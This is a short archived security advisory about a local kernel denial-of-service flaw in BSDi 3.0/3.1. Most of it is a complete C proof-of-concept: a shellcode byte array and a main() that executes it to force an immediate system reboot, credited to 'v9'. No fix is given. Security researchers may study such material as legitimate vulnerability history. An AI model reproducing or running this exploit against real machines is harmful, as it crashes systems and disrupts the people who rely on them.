TUCoPS :: BSD :: krnl21~2.htm

BSDi 3.0/3.1 kernel kill
COMMAND

    kernel

SYSTEMS AFFECTED

    BSDi 3.0/3.1

PROBLEM

    'v9'  found  following.   This  is  something  from a little while
    back.   Thought we  might as  well post  it for  some sort of use,
    generally a pretty  minimal problem.   Has similar effects  to the
    old f00f bug.  Except this reboots the machine, instead of  having
    a freezing effect.

    char bsdi_killcode[] =
     "\xb8\x8f\xf8\xff\x0b\xf7\xd0\x50\xb0\x0b"
     "\xb0\x9a\x50\x89\xe7\xff\xd7";
    int main() {
     void (*execcode)()=(void *)bsdi_killcode;
     printf("[ (BSDi)*[v3.0/3.1]: system failu"
     "re, by: v9[v9@realhalo.org]. ]\n");
     printf("*** no output should be seen afte"
     "r this point.\n");
     execcode();
     printf("*** system failure failed.\n");
     exit(0);
    }

SOLUTION

    Nothing yet.

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